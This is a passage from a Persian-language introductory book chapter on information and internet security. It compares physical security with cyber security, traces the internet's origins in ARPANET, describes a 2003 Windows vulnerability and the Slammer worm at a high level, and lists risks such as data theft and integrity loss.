۲۳ *امنیت اطلاعات و اینترنت یکی از سه موضوع اصلی هستند که اجلاس سران جامعهٔ اطلاعاتی در کنفرانس خود در جنوا (دسامبر ۲۰۰۳) روی آن کار کرد و قرار است باز هم در تونس (آوریل ۲۰۰۵) روی آن کار شود. این یک دلیل دیگر برای این واقعیت است که نقش فناوری اطلاعات و ارتباطات در توسعه بتدریج به جایگاه واقعی خود نزدیکتر می‌شود.*

نیازهای دیگر چون امنیت در مقابل حوادث طبیعی یا بیماریها عموماً برای انسانهای ماقبل تاریخ مطرح نبود. با پیشرفت تمدن، محدودهٔ امنیت فراتر رفته و ابعاد وسیعتری مانند در اختیار داشتن مکانی برای آسایش و زندگی بی‌خطر را در بر گرفت و امروزه مفهوم اموال شخصی نیز به تعریف امنیت اضافه شده است.

بیشتر آنچه که ما در دنیای واقعی انجام می‌دهیم با مخاطره همراه است؛ هرچند بسیاری از فعالیتهایمان مخاطرهٔ کمی در پی دارد. مثلاً وقتی به همراه شخصی ناآشنا به سفر می‌رویم و یا به شهر یا کشوری ناآشنا وارد می‌شویم این حقیقت را می‌دانیم که برای امنیت جسمی‌مان تهدیداتی وجود دارد. تهدیدات موجود در اطراف ما وقتی جدی خواهند شد که ما در مکانی حفاظت‌نشده قرار بگیریم و با فردی روبرو شویم که بتواند از موقعیت ما سوء استفاده کند. اگر به اندازهٔ کافی به مخاطرات اطراف خود توجه کنیم موفق خواهیم شد مکانی امن پیدا کنیم یا راه چاره‌ای بیابیم؛ مثلاً همراه کسی شویم که ما را به مکان امنی هدایت کند، یا یک تاکسی بگیریم.

بعضی از کارها مخاطرات روانشناختی یا مالی به همراه دارند ولی مخاطرهٔ جسمی ندارند. وقتی سرمایه‌گذاری می‌کنیم (در هریک از اشکال خرید زمین، سهام یا حتی فعالیت در تجارت و یا کار در بازار) انتظار داریم که این سرمایه هرچه زودتر به ما بازگردد. همانطور که می‌دانیم بعضی از سرمایه‌گذاریها دیر یا زود بازخواهند گشت؛ حال آنکه بعضی از سرمایه‌گذاریها اینگونه نیستند و بعضی از آنها هم به زیان منجر می‌شوند. مثلاً وقتی با شخص جدیدی ارتباط برقرار می‌کنیم امیدواریم که این رابطهٔ جدید برایمان آورده‌ای داشته باشد، هرچند خطر این مسئله که ممکن است این رابطه از فایدهٔ لازم برخوردار نباشد را نیز می‌پذیریم.

در بعضی زمینه‌ها دستیابی به سطحی از امنیت که انتظار آنرا داریم ممکن نیست. مثلاً همیشه مایلیم عمری طولانی و جسمی سالم داشته باشیم؛ ولی آنچه که در معدل آماری طول عمر وجود دارد نشان می‌دهد که این مسئله برای بسیاری از افراد صدق نمی‌کند. بعضی از ما در سنین پائین می‌میریم، تعدادی در طول حیات با بیماریهای مختلف دست و پنجه نرم می‌کنیم، و برخی تا سالیان دراز زنده می‌مانیم و عمری به سلامت روزگار می‌گذرانیم. عدم توانایی خود در تعیین سرنوشت را با بیمه جبران می‌کنیم تا ما را در برابر اثرات منفی مالی، حوادث و بیماریها حفاظت کند.

این مقدمه حقیقتی را دربارهٔ امنیت پیش روی ما قرار می‌دهد: امنیت مطلق چه در زندگی واقعی و چه در فضای سایبر غیرممکن و محال است؛ ولی با اینحال امنیتی که به اندازهٔ کافی مناسب باشد تقریباً در تمامی شرایط محیطی دست‌یافتنی می‌باشد.

راههای گوناگونی برای در اختیار گرفتن مکانیزمهای تقویتیِ افزایش و حفظ امنیت وجود دارد. ما از مکانیزمهای فیزیکی برای تضمین امنیت خود برخوردار هستیم: ساختمانهای بلند و مستحکم و درهای محکم و نفوذناپذیر به همراه قفلها و کلیدهای بی‌شمار. ما می‌توانیم به مرزهای فیزیکی دیگر مثل دیوارها و دیگر موانع جداساز نیز تکیه کنیم. همچنین می‌توانیم روی مناطقی که از طریق آنها احتمال نفوذ می‌رود نور کافی متمرکز کنیم. نهایتاً اینکه درصورت لزوم می‌توان با این فرض که اقدامات نفوذی اولیه موفق باشند از سیستمهای هشداردهنده و محافظهای قویتر برای شناسایی و مقابله با کسانیکه موفق به نفوذ شده‌اند استفاده نمود. مهمتر از همه اینکه می‌توانیم از پشتیبانی قوانین عمومی و جزایی و نیروهای انتظامی نیز درخواست کمک نماییم.

ما معمولاً از چندین روش مختلف برای افزایش امنیت خود استفاده می‌کنیم تا درصورتیکه یکی از تدابیر مفید واقع نشد دیگری خلاء آنرا پر کند. اگر یکی از کلیدها به سرقت رفت و قفلِ در از آن پس حفاظ مطمئنی به شمار نمی‌رفت، می‌توان از علائم هشداردهنده برای اعلام خطر نفوذ استفاده کرد. البته تعداد مرزها و عوامل سدکننده به ارزش چیزی که مورد حفاظت قرار می‌گیرد و انتظارات معقولانه‌ای که در زمینهٔ حمله به آن وجود دارد باز می‌گردد.

تمامی این تدابیر و روشهای حفاظتی در فضای سایبر به شکلی دیگر مطرح می‌شوند و ما به آن اندازه که با تدابیر امنیت فیزیکی آشنا هستیم با ماهیت آنها در فضای سایبر آشنا نیستیم، اما لازم است که آنها را درک کنیم و درصورت نیاز به تأمین امنیت در فضای سایبر ، روش کاربرد آنها را بدانیم. هم در دنیای واقعی و و هم در فضای سایبر نیازمند حفاظت و دفاع از سرمایه‌های خود در برابر حملات دیگران و درصورت موفقیت‌آمیز بودن حملات، بازپس‌گیری سرمایه‌های از دست رفته می‌باشیم.

تعاریف و توضیحاتی که در فرهنگهای لغات و واژه‌نامه‌ها برای واژهٔ امنیت وجود دارد به مواردی اشاره دارند که با سلامتی مرتبط هستند، نظیر "کیفیت یا حالتی از اطمینان، آزادی از خطر و رهایی از ترس یا اضطراب". با اینحال هیچیک از این تعاریف نمی‌توانند برای توصیف دقیق امنیت در فضای سایبر بکار روند.

در عوض ما تعریف زیر را پیشنهاد می‌کنیم: هنگامی در فضای سایبر ایمن هستید که دسترسی به منابع اطلاعاتی شما تحت کنترل خودتان باشد، یعنی هیچ کس بدون کسب اجازه از جانب شما قادر به دسترسی به این منابع اطلاعاتی نباشد. این منابع شامل داده‌ها و منابع رایانه‌ای، شبکه‌ای، تراکنشی، پردازشی، و اطلاعاتی می‌باشند. طبیعتاً ممکن است برخی از این منابع از جانب دیگران و برای استفادهٔ شما ارائه شده باشند، مثل *حساب کاربری*[۲۵] در یک رایانهٔ اشتراکی یا دسترسی به اینترنت از طریق یک *ارائه‌کنندهٔ خدمات اینترنتی* (ISP)[۲۶]. از آنجا که این موارد هیچگاه کاملاً ایمن نیستند، تنها تا وقتیکه دستورالعملهای فروشندهٔ خدمات برای استفادهٔ صحیح از آنها را دنبال کنید می‌توانید بر دسترسی مداوم و استفادهٔ مناسب از خدمات اشراف داشته باشید.

مثالی در مورد ماهیت امنیت سایبر در اینجا ارائه می‌شود. برای این منظور به آخرین نقصی که (تا پیش از انتشار این کتاب) در هستهٔ سیستم‌عامل Microsoft Windows یافته شده می‌پردازیم:

"مایکروسافت تقریباً در تمامی نسخه‌های موجود از سیستم‌عاملهای Windows خود یک *آسیب‌پذیری*[۲۷] بسیار مهم را کشف کرد که اولین تأثیر آن می‌تواند از کار افتادن کامل Microsoft Windows Server 2003 باشد. مایکروسافت گفته که این آسیب‌پذیری می‌تواند نفوذگرها را قادر کند که از طریق اینترنت کنترل سیستم‌عامل Windows رایانه‌های قربانیان خود را بدست گرفته، اطلاعات آنها را بدزدند، فایلها را حذف کنند و یا از طریق پست الکترونیکی انتقال دهند. این شرکت به مشتریان خود اطمینان داد که بلافاصله یک *وصله*[۲۸] رایگان برای برطرف ساختن این اشکال روی پایگاه وب مایکروسافت قراردهد ...."

این اشکال که توسط پژوهشگرانی از کشور لهستان کشف شد نسخه‌های رایج Windows در میان کاربران خانگی را نیز تحت تأثیر قرار داد: "این مورد یکی از بدترین آسیب‌پذیریهای Windows است که تا کنون وجود داشته"، این گفتهٔ *مارک مایفرت*[۲۹] مدیر اجرایی *مؤسسهٔ امنیت دیجیتال چشم الکترونیکی*[۳۰] واقع در *آلیسو ویه‌جو*[۳۱] در ایالت کالیفرنیاست که محققان آن نظیر همین آسیب‌پذیری خطرناک را در سه نسخهٔ قبلی Windows کشف کرده‌اند. مایفرت دربارهٔ شرکتهای آسیب‌دیده عنوان کرد: "تا زمانیکه آنها این وصلهٔ نرم‌افزاری را نصب نکنند سیستمهایشان مثل یک تکه پنیر سوئیسی خواهد بود و هرکس می‌تواند براحتی به سرویس‌دهنده‌های آنها وارد شود."

اما همان زمان چهار پژوهشگر لهستانی که با عنوان "Last Stage of Delirium Research Group" شناخته می‌شدند پیدا کرده‌اند که راهی برای عبور از وصله‌های جدید مایکروسافت می‌دانند و این زمانی بود که تنها سه ماه از انتشار این وصله‌ها می‌گذشت. هرچند پژوهشگران لهستانی ابزاری برای اثبات وجود آسیب‌پذیریهای جدی‌تر طراحی کرده و با استفاده از آن به چند رایانه نفوذ کردند، ولی متعهد شدند که هیچ اثری از این آسیب‌پذیریهای جدید در اینترنت بجای نگذارند. بعضی از متخصصان انتظار داشتند که نفوذگران طی چند ماه آینده از این اشکال جدید برای نفوذ به رایانه‌ها استفاده کنند. حتی بدون اعلام این مسئله از سوی آن پژوهشگران، نفوذگران نوعاً قادر به عبور از وصله‌های مایکروسافت هستند."[۳۲]

همانند کاربران و کارمندان درون یک سازمان، ما هیچ کنترلی روی متن برنامه‌هایی نظیر Windows نداریم. می‌دانیم که برای فروشندگان نرم‌افزار بسیار مهم است که برنامه‌هایشان ایمن و عاری از هرگونه خطا باشد، اما زمانی که چنین مشکلاتی بروز می‌کنند با اتخاذ تدابیر و تصمیمات مناسب می‌توانیم نسبت به تهیه و نصب نسخه‌های اصلاحی

25 *User Account*
26 *Internet Service Provider*
27 *Vulnerability*
28 *Patch*

29 *Marc Maiffret*
30 *eEye Digital Security Inc*
31 *Aliso Viejo*
32 *Ted Bridis, Associated Press July 16.2003.*

فروشندگان اقدام کنیم و این تنها روش مقابله‌ای است که در اختیار داریم.

در دنیای واقعی می‌دانیم که چطور باید از منابع اطلاعاتی خود حفاظت نماییم و همچنین می‌دانیم که بعضی از اطلاعات را باید بصورت محرمانه نگهداری کرد و برخی از آنها را می‌توان بصورت آزادانه انتقال داد. برای این منظور درهای دفاتر و کمدهای حاوی فایلها را قفل می‌کنیم و حتی ممکن است نسخه‌هایی از اطلاعات مهم را خارج از محل اداره نگهداریم تا در مواقعی چون بروز آتش‌سوزی و یا سایر بلایای طبیعی از آنها حفاظت کرده باشیم. بعضی اطلاعات را تنها می‌توان به تعداد محدودی از افراد انتقال داد و بسته به درجهٔ اهمیت اطلاعات می‌توان به افراد مختلف در سطوح متفاوتی اعتماد کرد.

از نظر مفهومی میان ماهیت تهدیدات فضای سایبر و تهدیداتی که در دنیای واقعی وجود دارند هیچ تفاوتی نیست، بلکه تفاوت این دو مقوله برخاسته از خصوصیات فضای الکترونیکی و تهدیدات این حوزه است که باعث می‌شود بتوان از بروز آنها جلوگیری کرد و آنها را خنثی، یا شناسایی و رفع نمود.

عناوین *حریم خصوصی*[۳۳] و *محرمانگی*[۳۴] با مسئله امنیت در ارتباط هستند. اطلاعاتی که "خصوصی" بشمار می‌روند تنها زمانی می‌توانند واقعاً خصوصی بمانند که بصورت ایمن ذخیره شده باشند. برای این منظور در دنیای واقعی بگونه‌ای رفتار می‌کنیم که گویی چنین اطلاعاتی وجود خارجی ندارند. این سیاست را *امنیت گمنامی*[۳۵] می‌نامند. به همین ترتیب اطلاعاتی که باید بصورت محرمانه بهاشتراک گذارده شوند باید برای کسانیکه آنها را به اشتراک گذاشته‌اند بصورت ایمن باقی بمانند. اگر این افراد همیشه در یک مکان نیستند هنگام انتقال این اطلاعات باید سیاستهای امنیتی کافی در مورد آنها اعمال شود.

موقعیتهایی نظیر این مسئله در فضای سایبر نیز وجود دارد، ولی با فرض طبیعت خاص فضای سایبر و ارتباط میان رایانه‌های موجود در آن، امنیت گمنامی یا استفاده از پنهان‌سازی سیاستی ضعیف می‌نماید و باید از آن اجتناب کرد. این کتاب در سطوح مختلف جزئیاتی در مورد مقیاسهای امنیتی مورد نیاز فضای سایبر ارائه می‌نماید.

پیدایش و رشد اینترنت

محیط رایانه‌ای و شبکه‌ایِ اینترنت امروز در ابتدا با هدف پژوهش و آموزش بوجود آمده بود. زمانیکه ARPANET (اینترنت اولیه) برای اولین‌بار ایجاد شد، هدف اصلی آن اشتراک منابع گروههای متعدد پژوهشگران در موقعیتهای جغرافیایی مختلف بود. این گروهها اهداف یکسان داشتند و با هدف بهاشتراک‌گذاشتن منابع و داده‌ها کار می‌کردند؛ دسترسی به شبکه محدود به اعضای این گروهها می‌شد و لذا در آن زمان نگرانی چندانی در مورد تأمین امنیت اطلاعات وجود نداشت. طراحی شبکه جهانی وب نیز بر همین اساس شکل گرفت تا یک ابزار قوی برای کشف منابع اطلاعاتی و قراردادن آن در اختیار افراد دیگر باشد؛ بدون استفاده از مکانیزمی برای کسب مجوز یا تسهیل سرمایه‌گذاریهای مالی.

فرهنگ بهاشتراک‌گذاری اطلاعات میان پژوهشگران و دانشگاهیان طی دههٔ ۹۰ توسط ARPANET مطرح شد و هنوز هم نشانه‌هایی از آن دیده می‌شود. بر اساس این فرهنگ، اطلاعات در شبکهٔ جهانی وب تا حد ممکن در دسترس و رایگان است و امکان استفاده از آن برای صدها میلیون نفر از مردم در سرتاسر جهان وجود دارد. این مسئله بسیار مهم است و پاسخی به این سؤال می‌باشد که چرا اینترنت تا امروز به این سطح از رشد رسیده است. جنبهٔ اخلاقی این فرهنگ در گفتگوهای عامیانهٔ مردمی که اینترنت را منبعی بسیار خوب و معتبر توصیف می‌کنند مشاهده می‌شود؛ چراکه قدرت رسانه‌ای اینترنت و اثرات کار با آنرا دیده‌اند. گاهی اوقات در مورد ماهیت اینترنت گفته می‌شود که "اطلاعات در آن تمایل به آزاد بودن دارند".

یک توجیه دیگر برای آسیب‌پذیریهای حال حاضر اینترنت آن است که نسل اول اینترنت بر اساس اعتماد متقابل ایجاد شده بود و کاربران آشکارا برای کار با یکدیگر به هم اعتماد می‌کردند. با گسترش وسیع اینترنت و به عضویت درآمدن افراد بیشتر با علایق و اهداف مختلف در آن، اعتماد متقابل معنای خود را از دست داد. درحال حاضر یکی از مباحث عمده در اینترنت توسعهٔ مفهوم نوین اعتماد متقابل است

33 *Privacy*
34 *Confidentiality*
35 *Security By Obscurity*

بگونه‌ای که مؤثر، واقع‌گرایانه، و بسادگی قابل پیاده‌سازی باشد.

اینترنت با سیستمهای ارتباطی قبل از خود چندین تفاوت اساسی دارد که هر کدام از اهمیت خاصی برخوردارند. بعضی از این تفاوتها هنگامیکه اینترنت را با *شبکهٔ تلفن عمومی سوئیچ شده* (PSTN)[۳۶] که روزانه در سراسر دنیا استفاده می‌شود مقایسه کنیم بهتر درک می‌شوند.

اینترنت براساس مدلی از انتقال اطلاعات کار می‌کند که Packet Switching نام دارد. هر زمان که اطلاعات از طریق اینترنت عبور می‌کند به چندین بستهٔ داده شکسته می‌شود. این بسته‌ها رمزگذاری شده و هر کدام بصورت مستقل در شبکه ارسال و پس از دریافت در مقصد مجدداً سرهم‌بندی می‌شوند (مسیر ارسال آنها می‌تواند متفاوت باشد). این روش انتقال در نقطهٔ مقابل Circuit Switching – که PSTN از آن استفاده می‌کند – قرار دارد. در این روش به هر مکالمهٔ تلفنی یک مدار واحد اختصاص داده می‌شود و لذا در آن حجم صدای انتقال یافته در هر لحظه مهم نیست.

اینترنت رسانه‌ای نادان است، چراکه تمام آنچه که می‌داند این است که باید یک بسته را از یک مبدأ متصل به شبکه به یک مقصد متصل به شبکه برساند. تمامی *خدمات اینترنتی*[۳۷] در انتها و در لبه‌ها به رایانه‌هایی می‌رسند که متصل به شبکه هستند. در عوض در PSTN اساس کار شبکه "هوشمندی" است و ابزار کاربر در نقاط انتهایی کاربرد اندکی برای صحبت‌کردن یا گوش‌دادن دارند.

اینترنت جهانی است و بسیاری از کشورها را به هم متصل می‌کند و اطلاعات از طریق آن فراتر از مرزهای جغرافیایی به افراد مختلف جریان پیدا می‌کنند. این ویژگی بارزترین و جالبترین خصوصیت آن است که البته ارتباط چندانی به امنیت ندارد. شبکهٔ PSTN نیز جهانی است، اما روشهای دسترسی تلفنی به کشورهای مختلف به آسانی اینترنت نیست و مثلاً کاربر تلفن می‌داند که با یک کشور خارجی تماس گرفته است؛ اما وقتیکه به یک پایگاه وب دسترسی پیدا می‌کند لزومی ندارد که بداند سرویس‌دهندهٔ آن در کجای دنیا قرار دارد.

اینترنت باز است و می‌توان آنرا بعنوان شبکه‌ای از شبکه‌ها درنظر گرفت که هر شبکه‌ای که به خانواده‌ای از پروتکل *TCP/IP*[۳۸] تعلق داشته باشد می‌تواند به آن متصل شود و بخشی از آن محسوب گردد. استانداردهایی که مجموعهٔ این پروتکلها را تعریف می‌کنند توسط *IETF*[۳۹] ارائه می‌شوند و معمولاً بدنهٔ فنی غیررسمی آنها بر اساس شایسته‌سالاری فنی و پیاده‌سازی استانداردهای توافقی تدوین می‌گردد.

اینترنت غیرمتمرکز است و در آن هیچ سیستم مرکزی ارتباطی وجود ندارد و همینکه شما از پروتکلهای اصلی آن نظیر TCP/IP پیروی کنید می‌توانید رایانه یا شبکه خود را به اینترنت متصل نمایید.

اینترنت در همه‌جا رایج است و موانع ورود به آن اندک هستند. مقدار *پهنای باند*[۴۰] (سرعتی که می‌توانید داده‌ها را با آن انتقال دهید) نیز به ظرفیت حمل سیمهای مسی، اتصالات فیبری یا کانالهای ماهواره‌ای واقع در مسیر انتقال بستگی دارد. در شاهراه آن طیفهای الکترومغناطیسی کمیاب وجود ندارند. هرجا که از طیف رادیویی استفاده گردد – مانند *شبکه‌های محلی بی‌سیم* (WLANs)[۴۱] که معمولاً با عنوان Wi-Fi از آنها نام برده می‌شود – قوانین و پروتکلهای مرتبط یک محیط اشتراکی را پدید می‌آورند که دسترسی را ساده می‌کند.

اینترنت برای کاربران متوسط واقع در بخشهایی از دنیا که مکالمات تلفنی محلی در آنها رایگان است نسبتاً ارزان تمام می‌شود. قیمت دسترسی به اینترنت از طریق خطوط تلفن و کافی‌نت و دیگر نقاط دسترسی عمومی در این کشورها بسیار اندک است و درنتیجه دسترسی به اینترنت برای درصد زیادی از مردم جهان بسیار ساده‌تر می‌باشد.

اینترنت مانع موجود میان مؤلف و ناشر را از بین برده است؛ شما می‌توانید یک ناشر باشید و روی رایانهٔ خود خدمات شبکه‌ای ایجاد کنید و برای اینکار تنها کافیست رایانهٔ شما همواره به اینترنت وصل باشد. همچنین می‌توانید دربارهٔ خدماتی که ارائه می‌دهید تصمیم‌گیری کنید و هر کس دیگری نیز درصورت اتصال به اینترنت و کسب اجازه از

36 *Public Switched Telephone Network*
37 *Internet Services*

38 *Transmission Control Protocol/Internet Protocol*
39 *Internet Engineering Task Force*
40 *Bandwidth*
41 *Wireless Local Area Networks*

جانب شما می‌تواند به رایانهٔ شما وصل شده و از آن خدمات استفاده نماید. اینترنت توسط کاربران قابل کنترل و شنود است، اما در بسیاری از کشورها شما می‌توانید انتخاب کنید که پیامها و سایر داده‌های ارسالیتان برای مقابله با شنود رمزگذاری شوند یا خیر.

بعلاوه غربال کردن پیامها تحت کنترل شما می‌باشد، هرچند که می‌توانید از یک منبع خارجی درخواست کنید اینکار را برای شما انجام دهد – مثلاً از ISP خود بخواهید که پیامهای نامطلوب را براساس ضوابطی که خودتان تدوین می‌کنید غربال نماید.

اینترنت یک رسانهٔ تعاملی است؛ می‌توانید به آسانی و با سرعت چندین پایگاه وب را مشاهده کنید، یا از افراد بسیاری پیامهای الکترونیکی دریافت و یا به آنها پیام ارسال نمایید. از آنجا که زمان انتظار برای خدمات برخط بستگی به میزان پهنای باند خط ارتباطی شما دارد، ممکن است دریافت پاسخ از این خدمات کمی طول بکشد.

اینترنت می‌تواند آسیب‌پذیر باشد؛ چراکه در ابتدا اساس آن بر ارائه خدمات به گروههای همکار و نسبتاً مشابه مردم قرار داشت و بجای استفاده از مکانیزمهای تصدیق هویت مطمئن، در آن به همه اعتماد می‌شد. این کتاب آسیب‌پذیریهای اینترنت را به شما شناسانده و مجموعه‌ای از الگوهای سرآمدی امنیتی را برای کمک به شما در کاهش آسیب‌پذیری ارائه می‌کند.

بر اساس مشخصه‌های فوق تاکنون باید در ذهن خود تصویری از اینترنت داشته باشید که در آن هر نوع فعالیت مجاز است و چیزی در آن محدودیت ندارد و تحت کنترل نیست. این فضای باز بخوبی ریشه‌های پژوهشی و دانشگاهی اینترنت را نشان می‌دهد و فواید آنرا برای تمامی اقشار جامعه می‌نمایاند. اینترنت با هدف برقراری امنیت طراحی نشده، بلکه برای افزایش ثمرات فعالیتهای مشترک بوجود آمده است. این میزان آزادی عمل فرصتهایی برای افراد ایجاد می‌کند که بتوانند از شبکه‌ها سوء استفاده کنند و به دیگران آسیبهای جدی وارد نمایند. ما ابتدا باید ماهیت این نوع سوء استفاده‌ها را درک کرده و سپس شبکه‌های خود را در مقابل آنها امن کنیم.

موضوعات مطرح در حوزهٔ امنیت اطلاعات

مفاهیم رایانه، شبکه و امنیت داده‌ها در فضای سایبر همانند دنیای واقعی هستند، ولی مکانیزمهای پیاده‌سازی روالهای مرتبط با آنها متفاوت است. مثلاً برای استفاده از حسابهای کاربری که اجازهٔ دسترسی به اطلاعات یا خدمات را فراهم می‌آورند، به جای کلیدهای فیزیکی یا الکترونیکی، دارای *شناسهٔ کاربری*[۴۲] و *رمز عبور*[۴۳] هستیم و بجای استفاده از پاکتهای دربسته برای انتقال اطلاعات می‌توانیم دادهٔ انتقالی را به نحوی رمزگذاری کنیم که توسط افراد ناشناس، غیرقابل خواندن باشد.

در مقایسهٔ دنیای واقعی با فضای سایبر می‌توانیم تخلفات مشابهی را در مورد قابلیت اطمینان و محرمانگی ببینیم. در هر دوی آنها ممکن است آدرسهای نادرست و یا امضاهای جعلی وجود داشته باشد. در هر دو فضا امکان ارائه اطلاعات غلط یا گمراه‌کننده نیز وجود خواهد داشت. همچنین امکان به اشتباه انداختن اشخاص با اطلاعات – چه بصورت تصادفی و چه از روی عمد – وجود دارد که باعث می‌شود نتوان تعیین کرد که چه اطلاعاتی مهم و قابل تأیید هستند.[۴۴] دست آخر اینکه در هر دو فضا امکان دسترسی غیرمجاز به اطلاعات محرمانه و استفاده از آنها برای مقاصد غیرقانونی نیز وجود دارد.

اما با همهٔ این شباهتها سه تفاوت عمده میان این دو فضا مشاهده می‌شود:

اول: هر نوع نقض امنیت در فضای سایبر می‌تواند بسیار سریع اتفاق بیافتد؛ یعنی تا زمانیکه بخواهید آگاه شوید چه اتفاقی برای سرمایه‌های شما افتاده، ممکن است دیگر برای جلوگیری از وارد آمدن خسارت بسیار دیر شده باشد. البته تمامی حملات سریع اتفاق نمی‌افتند؛ بلکه بعضی از آنها در هنگام وقوع قابل مشاهده‌اند و برای به نتیجه رسیدن زمان

---

42 *Username*
43 *Password*
۴۴ *کاپیتان کشتی معروف تایتانیک از رادیوی اولیه برای برقراری تماس از کشتی با ساحل استفاده می‌کرد. منشی رادیو که اولین سفر دریایی خود را تجربه می‌کرد آنقدر پیامهای شخصی دریافت می‌نمود که یک پیام مهم – هشدار در مورد یک کوه یخی بزرگ در مسیر حرکت کشتی – بعنوان یک پیام مهم و شایستهٔ پیگیری شناسایی نشد. نتیجه این بود که کشتی با کوه یخی برخورد کرد و چند ساعت بعد غرق شد.*

زیادی می‌برند. درسی که از این مطلب گرفته می‌شود آن است که تدابیر امنیتی و بازدارنده باید از استیلای کافی برای تشخیص نقض حریم امنیتی در حین وقوع جرم یا پس از آن برخوردار باشند.

به گزارشهای زیر دربارهٔ کرم Slammer که در اوایل سال ۲۰۰۳ میلادی باعث خرابی شدید در کار اینترنت شد توجه کنید. در اثر فعالیتهای این کرم، کشورهای زیادی از تمامی پنج قارهٔ جهان آلوده شدند و بخش عمدهٔ خرابیها نصیب کشورهای درحال توسعه شد:

Slammer (که گاهی اوقات Sapphire نیز نامیده می‌شود) سریعترین کرم رایانه‌ای است که در طول حیات رایانه‌ها منتشر شده. با شروع گسترش آن در سراسر اینترنت، بیش از ۹۰٪ *میزبانهای*[45] آسیب‌پذیر در عرض ۱۰ دقیقه آلوده شدند و این امر موجب اختلال در انجام داد و ستدهای مالی و امور حمل و نقل مؤسسات دولتی شد و جایی برای عکس‌العمل انسانی باقی نگذاشت...

Slammer قبل از ساعت ۵:۳۰ *UTC*[46] روز شنبه ۲۵ ژانویه ۲۰۰۳ میلادی با بهره‌برداری از یک *آسیب‌پذیری سرریزی بافر*[47] با نفوذ به رایانه‌های متصل به اینترنت که نرم‌افزار Microsoft SQL Server یا Microsoft SQL Desktop Engine (MSDE) 2000 را اجرا می‌کردند نفوذ کرد و به آرامی اقدام به آلوده ساختن تمامی رایانه‌های میزبان نمود. *دیوید لیچفیلد*[48] در جولای سال ۲۰۰۲ میلادی این آسیب‌پذیری را کشف کرد و مایکروسافت نیز قبل از انتشار کرم Slammer وصله‌ای برای اصلاح آن منتشر کرده بود.[49]

طبق گزارشهای رسمی کرم مذکور با استفاده از این آسیب‌پذیری حداقل ۷۵ هزار رایانهٔ میزبان را آلوده کرد – که البته تعداد واقعی بسیار بیش از این میزان است – و موجب اختلال شدید در کار اینترنت و بروز نتایج پیش‌بینی‌نشده‌ای چون لغو پروازهای هوایی، اختلال در انتخابات، و بروز اشکال در کار دستگاههای خودپرداز شد.[50]

دوم: لازم نیست شما در یک محل بصورت فیزیکی حضور داشته باشید تا بتوانید امنیت فضای سایبر را خدشه‌دار کنید. این بدان معناست که مثلاً یک نفر در اروپا می‌تواند امنیت رایانه‌های یک هدف در هند را به آسانیِ کسی که در هند تنها به اندازه عرض یک خیابان با آن هدف فاصله دارد خدشه‌دار نماید. تهدید امنیتی در فضای سایبر می‌تواند از هر جای شبکه شروع شود و به سمت هدفی معلوم و مشخص جهت‌گیری کند؛ و هدف نیز می‌تواند بصورت تصادفی انتخاب شده باشد. این تهدیدات خطرناک باعث می‌شوند که ما نحوهٔ تفکر خود در مورد امنیت را تغییر دهیم. می‌توان گفت این هیچ ارزشی ندارد که در آیین‌نامهٔ حق تکثیر Digital Millennium طراحی نرم‌افزارهای قفل‌شکن غیرقانونی اعلام شود؛ چراکه درحال حاضر کمیته‌های ملی و جهانی حق تکثیر در این موضوع و سایر موارد مرتبط به حفاظت از داده‌ها، هنوز مشغول تدوین راهکارهای اجرایی هستند.[51]

سوم: فضای سایبر محیطی قدرتمند اما پیچیده را بوجود آورده که در آن نقش تأمین امنیت بر عهدهٔ چند بازیگر است. مثلاً اگر شما یکی از کاربران یک ISP باشید، راههای مختلفی برای حفاظت از خود و رایانه شخصی‌تان پیشِ‌رو دارید؛ هرچند نمی‌توانید سیاستهای امنیتی ISP مورد استفادهٔ خود یا نحوهٔ پیاده‌سازی آنرا کنترل کنید. همچنین نمی‌توانید نرم‌افزارهای مشتریان خود را تحت کنترل داشته باشید؛ حتی اگر در ارتباط نزدیک با سیستمهای آنها باشید. پس باید یک استراتژی حفاظتی برای سرمایه‌هایتان اتخاذ کنید، چراکه

45 *Hosts*
46 *Universal Time Coordinated*
47 *Buffer Overflow Vulnerability*
48 *David Litchfield*
49 *http://www.microsoft.com/security/slammer.asp*

50 *Moore, Paxson, Savage, Shannon, Staniford and Weaver,"Inside the Slammer Worm,"IEEE Security and Privacy,Vol.1,No.4,July/August 2003, pp.33-39.*

۵۱ *برای دستیابی به نظرات جدید در مورد این سند می‌توانید به مراجع زیر مراجعه کنید:*
U.S. Copyright Office Digital Millennium Copyright Act Study: http://www.copyright.gov/reports/studies/dmca/dmca_study.html
DMCA: http://www.copyright.gov/legislation/hr2281.pdf

می‌دانید برقراری ارتباط با دنیای بیرون باعث می‌شود نتوانید تمام آسیب‌پذیریهای شبکه را خنثی نمایید.

مخاطرات محتمل در فضای سایبر چیستند؟ اگر هیچ ملاحظهٔ امنیتی را مد نظر قرار نداده باشید بعضی نتایجی که ممکن است به بار بیایند عبارتند از:

تخریب اطلاعات – داده‌های ذخیره‌شده روی رایانهٔ شما ممکن است حذف شوند. البته معمولاً امکان بازیابی آنها وجود دارد، اما فرآیندی زمان‌بر و احتمالاً ناقص خواهد بود. اگر یک مؤسسهٔ دولتی باشید ممکن است فعالیتهایتان حین این دوره دچار اختلال شود.

سرقت اطلاعات و نقض حریم خصوصی – ممکن است از سرقت اطلاعات بلافاصله یا با تأخیر مطلع شوید و این مسئله از اینکه متوجه شوید چه کسی داده‌های شما را در اختیار گرفته، چه اطلاعاتی در اختیار اوست، یا با آنها چه کارهایی انجام خواهد داد کاملاً مجزاست. اگر حجم وسیعی از اطلاعات شخصی شما به سرقت رفته باشد به احتمال زیاد سارق اطلاعات کلیدی شما را در اختیار دارد و همین امر می‌تواند نتایجی نامعلوم و تا اندازه‌ای خطرناک در پی داشته باشد.

نقض یکپارچگی اطلاعات – اطلاعات موجود در رایانه ممکن است بدون اطلاع شما تغییر کنند و دستکاری شوند. بر اساس نوع اطلاعاتی که نگهداری می‌کنید نتایج این دستکاری می‌تواند مقطعی یا درازمدت باشد. اگر این داده‌ها شامل سوابق مالی، اطلاعات مشتریان، وضعیت سفارشات یا پرونده‌های کارمندان باشند، پیامدهای نقض یکپارچگی آنها ممکن است بسیار پرهزینه و زیانبار باشد.

نقض انسجام شبکه از طریق سایر سیستمها و شبکه‌ها – هرچند در این مورد به طور مستقیم مورد حمله قرار نگرفته‌اید، ولی ممکن است رایانه‌های دیگری که به آنها دسترسی داشته‌اید مورد حمله قرار گیرند و این مسئله روی شما نیز تأثیرگذار باشد. در اینصورت اگر مثلاً یک مؤسسهٔ مالی و اعتباری باشید حین دورهٔ بازیابی اطلاعات قادر به تکمیل تراکنشهای مالی خود نخواهید بود.

